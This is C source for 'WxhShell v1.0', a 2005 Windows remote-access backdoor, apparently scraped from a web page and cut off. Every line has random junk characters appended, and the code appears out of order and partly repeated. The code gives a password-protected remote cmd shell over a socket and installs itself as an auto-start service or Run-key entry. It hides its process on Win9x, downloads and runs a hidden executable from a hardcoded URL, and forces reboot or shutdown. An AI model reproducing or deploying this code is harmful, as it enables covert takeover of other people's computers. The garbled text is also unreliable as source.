    if(Boot(SHUTDOWN)) 34,'smHi%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K!,9qH  
    else { Yosfk\D  
    closesocket(wsh); \iRmGvT  
    ExitThread(0); W#@6e')d  
    } j#jwK(:]  
    break; 7?;ZE:  
    } / K(l[M  
  // 获取shell J9/EJ'My  
  case 's': { _fdD4-2U  
    CmdShell(wsh); V-(*{/^"  
    closesocket(wsh); PJO.^OsM  
    ExitThread(0); T/PmT:Qg `  
    break; cGyR_8:2cv  
  } !>#gm7  
  // 退出 X%$1%)C9  
  case 'x': { =q(?ALGc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H;seT XL  
    CloseIt(wsh); Qv<p$Up6  
    break; `MHixQ;j  
    } mT/^F{c  
  // 离开 )3WUyD*UZN  
  case 'q': { }9 ]7V<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :PK2! 0nK  
    closesocket(wsh); "A*;V  
    WSACleanup(); '0=mV"#H{  
    exit(1); n?>|2>  
    break; {oS/Xa  
        } r~G  amjS  
  } h$#PboLd  
  } yIC C8M  
I Z|EPzS  
  // 提示信息 <KJ|U0/jGd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "(iDUl  
}  au]W*;x  
  } $:yIe.F  
vJ{F)0 K  
  return; F1S0C>N?5  
} 1(pv 3  
rp4{lHw>C/  
// shell模块句柄 aCJ-T8?'  
int CmdShell(SOCKET sock) @ULd~  
{ (-],VB (+  
STARTUPINFO si; IR{XL\WF  
ZeroMemory(&si,sizeof(si)); [ahwJF#r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K_n GZ/`[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  9I:3  
PROCESS_INFORMATION ProcessInfo; 3mHP=)  
char cmdline[]="cmd"; vQGv4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LM(r3sonb  
  return 0; W7c B  
} b%KcS&-6  
oWx^_wQ-=  
// 自身启动模式 Av0(zA2  
int StartFromService(void) Rt7l`|g a+  
{ (Y*9 [hm  
typedef struct liqVfB%  
{ PI@?I&Bo  
  DWORD ExitStatus; A<^X P-Nrp  
  DWORD PebBaseAddress; (! 8y~n 1  
  DWORD AffinityMask; cE>m/^SKr  
  DWORD BasePriority; d+vAm3.Dg  
  ULONG UniqueProcessId; xSm~V3b c  
  ULONG InheritedFromUniqueProcessId; &JYkh >  
}   PROCESS_BASIC_INFORMATION; N{}8Zh4op  
(J?_~(,`"  
PROCNTQSIP NtQueryInformationProcess; i8KoJY"  
-GMaK.4 =  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mHAfKB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DZ1.Bm0  
)G;H f?M  
  HANDLE             hProcess; As5-@l`@  
  PROCESS_BASIC_INFORMATION pbi; E#3tkFF0Z[  
3}8L!2_p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LqO=wK~  
  if(NULL == hInst ) return 0; c^cr_ i  
cml~Oepf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k'*vG6!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ri-D#F)}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I5Ty@J#  
pN_%>v"o  
  if (!NtQueryInformationProcess) return 0; (.iwD&  
sIbPMu`&U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O)DAYBv^  
  if(!hProcess) return 0; _;%l~q/  
x}O,xquY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +6}CNC9Mp  
M6 8foeeN  
  CloseHandle(hProcess); s(ap~UCOw  
h6IO;:P)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2.=G  
if(hProcess==NULL) return 0; >6[d&SM6  
$-|$4lrS  
HMODULE hMod; {2QP6XsJ  
char procName[255]; [$ uKI,l  
unsigned long cbNeeded; B'mUDW8\D  
:>0,MO.^~K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MBLDx sZ-  
6tjV^sjs  
  CloseHandle(hProcess); #z70:-`.[M  
/fLm )vN  
if(strstr(procName,"services")) return 1; // 以服务启动 Um4DVg5  
wv\V&U$  
  return 0; // 注册表启动 $iMLT8U  
} DUH DFG  
wW8[t8%43  
// 主模块 ,j9?9Z7R  
int StartWxhshell(LPSTR lpCmdLine) ?Ok&,\F@E  
{ {-Mjs BR  
  SOCKET wsl; fFoZ! H  
BOOL val=TRUE; `KE]RTq  
  int port=0; I<XYLe[_S  
  struct sockaddr_in door; C@[U:\  
*z#du*f[  
  if(wscfg.ws_autoins) Install(); xG(iSuz  
ycwkF$7  
port=atoi(lpCmdLine); CW/<?X<!n  
L Ee{fc?{  
if(port<=0) port=wscfg.ws_port; 3TZ:  
!! )W`  
  WSADATA data; ]T&d_~l   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R/Z7}QW  
-j2y#aP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ml;` *;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?=^\kXc[  
  door.sin_family = AF_INET; >qOj^WO~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w(z=xO  
  door.sin_port = htons(port); (+cZP&o  
NZ0?0*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \t/0Yh-'  
closesocket(wsl); e*}GQ  
return 1; W'f"kM  
} hF5T9^8  
{~j/sto-:  
  if(listen(wsl,2) == INVALID_SOCKET) { Ww\ WuaY  
closesocket(wsl); }N).$  
return 1; r b\t0tg  
} 2_6ON   
  Wxhshell(wsl); h:U#F )  
  WSACleanup(); aG]^8`~>'  
1Sza%D;3  
return 0; v`jHd*&6)  
bq8Wvlv04  
} IbJl/N%o  
s$(%?,yf2  
// 以NT服务方式启动 lhnGk'@d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $+ N~Fa  
{ `W" ;4A  
DWORD   status = 0; O9o]4;  
  DWORD   specificError = 0xfffffff; S0gxVd(  
h^qZi@L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F u^j- Io  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b62B|0i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rlawH}1b  
  serviceStatus.dwWin32ExitCode     = 0; ~Hv>^u Mh  
  serviceStatus.dwServiceSpecificExitCode = 0; J .TK<!  
  serviceStatus.dwCheckPoint       = 0; $~/cxLcT  
  serviceStatus.dwWaitHint       = 0; WHOX<YJs  
Iz-mUD0;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q<g>WNb  
  if (hServiceStatusHandle==0) return; /Hq  
'1xhP}'3)  
status = GetLastError(); 7fO<=ei:  
  if (status!=NO_ERROR) I"x~ 7  
{ A>e-eD xi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,6pGKCUU:y  
    serviceStatus.dwCheckPoint       = 0; [^bq?w  
    serviceStatus.dwWaitHint       = 0; JR xY#k  
    serviceStatus.dwWin32ExitCode     = status; \=[j9'N>  
    serviceStatus.dwServiceSpecificExitCode = specificError; @D=%J!!*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <1Sj_HCT  
    return; /988K-5k  
  } '6e4rn{  
Ycq )$7p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 98O]tL+k/u  
  serviceStatus.dwCheckPoint       = 0; ,b IJW]h0  
  serviceStatus.dwWaitHint       = 0; ' Q(kx*;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }{=}^c"t'  
} =<m!% /I  
QxxPImubB  
// 处理NT服务事件,比如:启动、停止 ?6nB=B)/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QT73=>^B  
{ =Ry8E2NuM  
switch(fdwControl) +kEM%z  
{ Yb_HvP  
case SERVICE_CONTROL_STOP: D)DD6  
  serviceStatus.dwWin32ExitCode = 0; _j3rs97@|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Ha"rr46p  
  serviceStatus.dwCheckPoint   = 0; |r,})o>  
  serviceStatus.dwWaitHint     = 0; CDXN%~0h  
  { T0"nzukd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ov H'_'  
  } s]0 J'UN  
  return; mCk_c  
case SERVICE_CONTROL_PAUSE: @ <2y+_e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rPyjr(I"_  
  break; iM;Btv[|  
case SERVICE_CONTROL_CONTINUE: GYiL}itD=3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3!/J!X3L  
  break; $d])>4eQ  
case SERVICE_CONTROL_INTERROGATE: a#%*H  
  break; ts@Z5Yw*!  
}; 83 R_8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~<O.Gu&"R  
} m.`I}  
y6-P6T  
// 标准应用程序主函数 K5T1dBl,0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X=Ar"Dx}}s  
{ UBM#~~sM  
u0sN[<  
// 获取操作系统版本 $gz8! f?  
OsIsNt=GetOsVer(); F?]J`F\I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vE8'B^h1  
&a e!lB  
  // 从命令行安装 rP2h9Cb  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5S!j$_(  
:p@jslD  
  // 下载执行文件 #>\SK  
if(wscfg.ws_downexe) { RU'a 8j+W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S{8-XiL,  
  WinExec(wscfg.ws_filenam,SW_HIDE); <ta{)}IN^  
} #W|Obc]K  
n 3&h1-  
if(!OsIsNt) { u9~Ncz  
// 如果时win9x,隐藏进程并且设置为注册表启动 =_iYT044p  
HideProc(); QRKP;aYt  
StartWxhshell(lpCmdLine); E<u(Yw6=  
} }fkdv6mz  
else ,N hv#U<$  
  if(StartFromService()) E3[9!L8gb  
  // 以服务方式启动 &\~*%:C  
  StartServiceCtrlDispatcher(DispatchTable); D]aQt%TL  
else ~"vS$>+  
  // 普通方式启动 'nh2}  
  StartWxhshell(lpCmdLine); NF4(+E9g  
s5+;8u9K  
return 0; oQV3  
} ,30lu a  
vO~w~u5  
Rr CG(Bh  
IBeorDIZ  
=========================================== YcwDNsk  
9W\"A$;+&  
T+EwC)Ll  
0<uLQVoR2n  
pM+9K:^B  
=-/'$7R,  
" {dxl8~/I  
H Q[  
#include <stdio.h> <oT1&C{  
#include <string.h> B6TE9IoSb8  
#include <windows.h> 5{+2#-  
#include <winsock2.h> }:{ @nP  
#include <winsvc.h> YT'V/8US  
#include <urlmon.h> qrj f  
e1JH N  
#pragma comment (lib, "Ws2_32.lib") lg2I|Z6DH  
#pragma comment (lib, "urlmon.lib") [\<#iRcP  
8au Gz ,"  
#define MAX_USER   100 // 最大客户端连接数 mOHOv61  
#define BUF_SOCK   200 // sock buffer pCo3%(  
#define KEY_BUFF   255 // 输入 buffer 6'e^np  
/AOGn?Z3  
#define REBOOT     0   // 重启 TB&IB:4)R  
#define SHUTDOWN   1   // 关机  E^5  
;8K> ]T)  
#define DEF_PORT   5000 // 监听端口 'q~<ZO  
40`Qsv0#  
#define REG_LEN     16   // 注册表键长度 aJjUy%  
#define SVC_LEN     80   // NT服务名长度 Akc |E!V  
LH+Bu%s  
// 从dll定义API RyukQY~<W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3]lq#p:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RdyKd_0`Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }|) N5bGQe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4ME$Z>eN  
fH_l2b[-3@  
// wxhshell配置信息 ;r6YIS4@  
struct WSCFG { q27q/q8  
  int ws_port;         // 监听端口 `EvO^L   
  char ws_passstr[REG_LEN]; // 口令 LD NdHG6  
  int ws_autoins;       // 安装标记, 1=yes 0=no eAI|zk6  
  char ws_regname[REG_LEN]; // 注册表键名 M;3q.0MU  
  char ws_svcname[REG_LEN]; // 服务名 pp1Kor  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sUmpf4/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,?qJAV~>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0[<' ygu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o$%KbfXO]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TNN@G~@cm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xZ%3e sp  
K8-1?-W  
}; # c1LOz  
\nuz l   
// default Wxhshell configuration 3_boEYl0  
struct WSCFG wscfg={DEF_PORT, X6$Cd]MN  
    "xuhuanlingzhe", HOH5_E>d  
    1, ;=^J_2ls  
    "Wxhshell", "SQyy  
    "Wxhshell", NJd4( P  
            "WxhShell Service", gp 11/ .  
    "Wrsky Windows CmdShell Service", Q7F4OS5b  
    "Please Input Your Password: ", m8F \ESL  
  1, e]; IQ|  
  "http://www.wrsky.com/wxhshell.exe", MNTVG&h  
  "Wxhshell.exe" 33eOM(`D[  
    }; LX&O"YY  
{6Nbar@3  
// 消息定义模块 L7GNcV]c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;g+fY 6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '-I\G6w9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tBZ?UAe;  
char *msg_ws_ext="\n\rExit."; ^qBm%R(  
char *msg_ws_end="\n\rQuit."; @cxM#N8e  
char *msg_ws_boot="\n\rReboot..."; 76o[qay  
char *msg_ws_poff="\n\rShutdown..."; ,\3Cq2h  
char *msg_ws_down="\n\rSave to "; Z[Iej:o5  
<6hs<qXqi  
char *msg_ws_err="\n\rErr!"; nTs\zikP  
char *msg_ws_ok="\n\rOK!"; g[@0H=  
Ge?DD,a c  
char ExeFile[MAX_PATH]; Gx4uf  
int nUser = 0; jgXr2JQ<  
HANDLE handles[MAX_USER]; &dj/Dq@  
int OsIsNt; 3d1xL+  
{|<r7K1<  
SERVICE_STATUS       serviceStatus; 7.2!g}E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "7Kw]8mRR  
&"T7KXx  
// 函数声明 \SwqBw  
int Install(void); HpUJ_pZ  
int Uninstall(void); B>d49(jy  
int DownloadFile(char *sURL, SOCKET wsh); yHs9J1S f  
int Boot(int flag); ]{{%d4  
void HideProc(void); .}+3A~  
int GetOsVer(void); fwzyCbks  
int Wxhshell(SOCKET wsl); Yh"9,Z&wiR  
void TalkWithClient(void *cs); ngd4PN>{4  
int CmdShell(SOCKET sock); #wvGS%  
int StartFromService(void); 7J$rA.tu  
int StartWxhshell(LPSTR lpCmdLine); ;Z"Iv  
zT/woiyB`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =c#mR" 1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P@5-3]m=  
r]QeP{  
// 数据结构和表定义 jY/(kA]}  
SERVICE_TABLE_ENTRY DispatchTable[] = Pd d(1K*  
{ 3^q9ll7Op  
{wscfg.ws_svcname, NTServiceMain}, rij%l+%@#  
{NULL, NULL} [ 4IqHe  
}; ~=HPqe8  
{(F}SF{  
// 自我安装 SbMRrWy  
int Install(void) JW2f 6!b  
{ uP8 cW([  
  char svExeFile[MAX_PATH]; @{3_7  
  HKEY key; F>[^m Xw  
  strcpy(svExeFile,ExeFile); I3x+pa^]2  
/L! =##  
// 如果是win9x系统,修改注册表设为自启动 "iK'O =M  
if(!OsIsNt) { 0lYP!\J3]%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PV=sqLM~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &n83>Q  
  RegCloseKey(key); RCK*?\m5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y}yh6r;i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VRY@}>W'  
  RegCloseKey(key); xZV|QVY;  
  return 0; _x!/40^G  
    } qf [J-"o  
  } o ?.VW/"  
} hA&m G33  
else { n36@&q+B&  
tLdQO"  
// 如果是NT以上系统,安装为系统服务 ci 22fw0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !@ AnwV]  
if (schSCManager!=0) F<2gM#jLB  
{ #q&N d2y  
  SC_HANDLE schService = CreateService k#mL4$]V5N  
  ( UA0( cK  
  schSCManager, k4:=y9`R}$  
  wscfg.ws_svcname, o(3OChH  
  wscfg.ws_svcdisp, LT,zk)5  
  SERVICE_ALL_ACCESS, q_>=| b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %t:13eM  
  SERVICE_AUTO_START, d] E.F64{  
  SERVICE_ERROR_NORMAL, += gU`<\  
  svExeFile, we*E}U4  
  NULL, z!k  
  NULL, 7vGAuTfi/@  
  NULL, yB;K|MXy?  
  NULL, 6Ol)SQE,  
  NULL !@+4&B=  
  ); ?$/W3Xn0%  
  if (schService!=0) w0<1=;_%  
  { oVfRp.a  
  CloseServiceHandle(schService); EWVn*xl?  
  CloseServiceHandle(schSCManager); iy_3#x5>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); << YH4}wZ  
  strcat(svExeFile,wscfg.ws_svcname); |*]<*qnZt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p8&rl|z|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1x+w|h  
  RegCloseKey(key); Zjc 0R   
  return 0; # .OCoc  
    } "88<{xL  
  } ah!RQ2hDrV  
  CloseServiceHandle(schSCManager); 2&o3OKt  
} |hu9)0 P  
} akgvV~5  
+~lPf.  
return 1; MP Q?Q]'  
} L N'})CI8m  
ET6}V"UD  
// 自我卸载 3|/zlKZz  
int Uninstall(void) pM!cF  
{ 5* ~E dT  
  HKEY key; 0{Zwg0&  
GN|xd+O_  
if(!OsIsNt) { VK}H;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q\fai^_  
  RegDeleteValue(key,wscfg.ws_regname); #CB`7 }jq  
  RegCloseKey(key); *  }ZKQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dW|S\S'&  
  RegDeleteValue(key,wscfg.ws_regname); dJ{'b '#  
  RegCloseKey(key); <Lq.J`|+  
  return 0; ~c>]kL(,  
  } C7 9~@%T  
} Rd1I$| Y  
} hBW,J$B  
else { p;2NO&  
[Ue"#w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :&O6Y-/B  
if (schSCManager!=0) PV/hnVUl  
{ &=-{adm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Novn#0a  
  if (schService!=0) `u;4Z2Lr0  
  { nqib`U@"  
  if(DeleteService(schService)!=0) { ~NwX,-ri  
  CloseServiceHandle(schService); )TkXdA?.  
  CloseServiceHandle(schSCManager); 82=>I*0Q  
  return 0; nrz2f7d$  
  } 59a7%w  
  CloseServiceHandle(schService); Jn1(-  
  } vnv:YQV/ir  
  CloseServiceHandle(schSCManager); 2&:w_KJ  
} _^] :tL6  
} +H3;{ h9,  
!O/(._YB`  
return 1; %4h$/~  
} f\vg<lca  
3*<~;Z' z4  
// 从指定url下载文件 EwOi` g  
int DownloadFile(char *sURL, SOCKET wsh) E#M4{a1  
{ V#d8fRm  
  HRESULT hr; _R|8_#yM  
char seps[]= "/"; ^36m$J$  
char *token; 0BHSeO,  
char *file; IdL~0;W7  
char myURL[MAX_PATH];  ZG-[Gz  
char myFILE[MAX_PATH]; Cn8w}) B  
(>gHfC>(lq  
strcpy(myURL,sURL); 7E)*]7B%  
  token=strtok(myURL,seps); ?C|b>wM/  
  while(token!=NULL) )Hlc\Mgy  
  { gn4 Sz")  
    file=token; N51RBA  
  token=strtok(NULL,seps); VaFv%%w  
  } K<D=QweOon  
Xx=c'j<  
GetCurrentDirectory(MAX_PATH,myFILE); :|E-Dx4F6H  
strcat(myFILE, "\\"); X!/  
strcat(myFILE, file); aQ.mvuMa7'  
  send(wsh,myFILE,strlen(myFILE),0); /m+\oZ ]d  
send(wsh,"...",3,0); WB>M7MI%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N:7;c}~  
  if(hr==S_OK) mM;p 7 sJ  
return 0; dIRSgJ`  
else xrC b29{  
return 1; ^ )[jBUT  
H{fOAv1*  
} orr6._xw  
8>~\R=SC  
// 系统电源模块 $_&gT.>  
int Boot(int flag) _6&TCd<  
{ 9A9yZlt  
  HANDLE hToken; Q.])En >i  
  TOKEN_PRIVILEGES tkp; ~;B@ {kFY)  
F\hU V[  
  if(OsIsNt) { b:>t1S Ul  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d"hW45L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jMB&(r  
    tkp.PrivilegeCount = 1; -PH!U Hg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2ID]it\5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H+2m  
if(flag==REBOOT) { t"L-9kCM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \>GHc}  
  return 0; p7d[)* L>C  
} wT+b|K  
else { n*GsM6Y&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dd@-9?6M  
  return 0; !Won<:.[0  
} _^"0"<,  
  } -H(\[{3{V  
  else { 9 54O=9PQ  
if(flag==REBOOT) { )M(-EDL>Qk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2K&5Kt/  
  return 0; SLMnEtyTS  
} BD (  
else { 3Zeh$DZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bQu1L>c,Uw  
  return 0; @{y[2M} %]  
} NT<> LWo  
} is [p7-  
.q7|z3@,  
return 1; %I6c}*W  
} )=c/{  
VOK0)O>&  
// win9x进程隐藏模块 9Jhc5G  
void HideProc(void) ?3{:[*  
{ ] M#OS$_O@  
2wki21oY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )kiC/Y}k  
  if ( hKernel != NULL ) r @ IyK%  
  { ^u[n!R\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gu~F(Fb'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ES&"zjr$  
    FreeLibrary(hKernel); mUW4d3tE  
  } nd)bRB  
nVVQ^i}`G  
return; +8\1.vY  
} !E+.(  
Y &"rf   
// 获取操作系统版本 &6mXsx$  
int GetOsVer(void) 5bKm)|4z6  
{ J$X{4  
  OSVERSIONINFO winfo; _9Zwg+oO[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +vh 4I  
  GetVersionEx(&winfo); :_y}8am;H~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bW9a_myE  
  return 1; vw/L|b7G  
  else > R5<D'cEN  
  return 0; tEXY>=  
} Ckc4U. t|  
FV->226o%  
// 客户端句柄模块 4)XZ'~|  
int Wxhshell(SOCKET wsl) SZ[ ,(h  
{ sF`ELrR \  
  SOCKET wsh; &n)=OConge  
  struct sockaddr_in client; +7]]=e<[E  
  DWORD myID; g~i%*u,Y<  
FnFJw;:,{  
  while(nUser<MAX_USER) Z*Fxr;)d  
{ o2C{V1nB  
  int nSize=sizeof(client); sAG#M\A6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )Kw Gb&l&  
  if(wsh==INVALID_SOCKET) return 1; LyB &u( )  
^t{2k[@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .0b$mSV[  
if(handles[nUser]==0)  KDODUohC  
  closesocket(wsh); d?uN6JH9  
else #o]/&T=N=  
  nUser++; !b0ANIp  
  } ^+m6lsuA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1>BY:xZr  
-N3fhW#)  
  return 0; GYq.!d@O  
} +hJ@w-u,G  
SQ_w~'(  
// 关闭 socket l6wN&JHTh  
void CloseIt(SOCKET wsh) uGxh}'&  
{  gh{Z=_  
closesocket(wsh); M' d ,TV[  
nUser--; pS vqGJU3  
ExitThread(0); vl{G;[6  
} 4._ U  
pW>?%ft.  
// 客户端请求句柄 y)B>g/Hoh  
void TalkWithClient(void *cs) *)6:yn  
{ GV1SKa  
;MH<T6b  
  SOCKET wsh=(SOCKET)cs; 6/Pw'4H9$  
  char pwd[SVC_LEN]; hrRkam !y  
  char cmd[KEY_BUFF]; +l " z  
char chr[1]; t69C48}15  
int i,j; OcBK n=8  
M+akD  
  while (nUser < MAX_USER) { l^B PTg)X@  
{|;5P.,l  
if(wscfg.ws_passstr) { ,W!v0*uxp&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <ETR6r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d0Jaa1b~O  
  //ZeroMemory(pwd,KEY_BUFF); SGuLL+|W#8  
      i=0; f""+jc1  
  while(i<SVC_LEN) { cM= ? {W7~  
?Z ]5 [  
  // 设置超时 U{+<c [  
  fd_set FdRead; aWe?n;  
  struct timeval TimeOut; EPE9HvN  
  FD_ZERO(&FdRead); [-*1M4D9  
  FD_SET(wsh,&FdRead); gg-4ce/  
  TimeOut.tv_sec=8; U0PQ[Y#\  
  TimeOut.tv_usec=0; &ZmHR^Flz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 91 ]"D;NN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;U02VguC  
1${lHVx]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L1'#wH  
  pwd=chr[0]; ^+hqGu]M  
  if(chr[0]==0xd || chr[0]==0xa) { O$2= Z  
  pwd=0; ]CFh0N|(L  
  break; `H:5D5]  
  }  t dl Y  
  i++; <d$L}uQwg  
    } #fy#G}c  
v7i5R !  
  // 如果是非法用户,关闭 socket uEK9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /ynvQ1#uA  
} >8pmClVvmR  
"o=*f/M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A1mxM5N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )@X `B d  
Vz"Ja  
while(1) { K,VN?t <h  
) N8 [@  
  ZeroMemory(cmd,KEY_BUFF); 5iG+O4n%  
AS} FRNIVx  
      // 自动支持客户端 telnet标准   $[p<}o/6v]  
  j=0; !OVTs3}  
  while(j<KEY_BUFF) { )<.BN p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~F</ s.  
  cmd[j]=chr[0]; 8hTtBa  
  if(chr[0]==0xa || chr[0]==0xd) { VI}.MnCa  
  cmd[j]=0; cZ!%#A z  
  break; % |6t\[gn  
  } ;oKN8vI#7  
  j++; :f~[tox  
    } Ac0^`  
`*A!vO8  
  // 下载文件 5BL4VGwJ  
  if(strstr(cmd,"http://")) { *bl*R';  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $*%ipD}f  
  if(DownloadFile(cmd,wsh)) HF3W,eaqK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b V)mO@N~w  
  else xHA6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 +RsZu  
  } 1@ e22\  
  else { ux[h\Tp  
rNdeD~\  
    switch(cmd[0]) { B{#*PAK=  
  !N`$`qAK  
  // 帮助 G lz0`z  
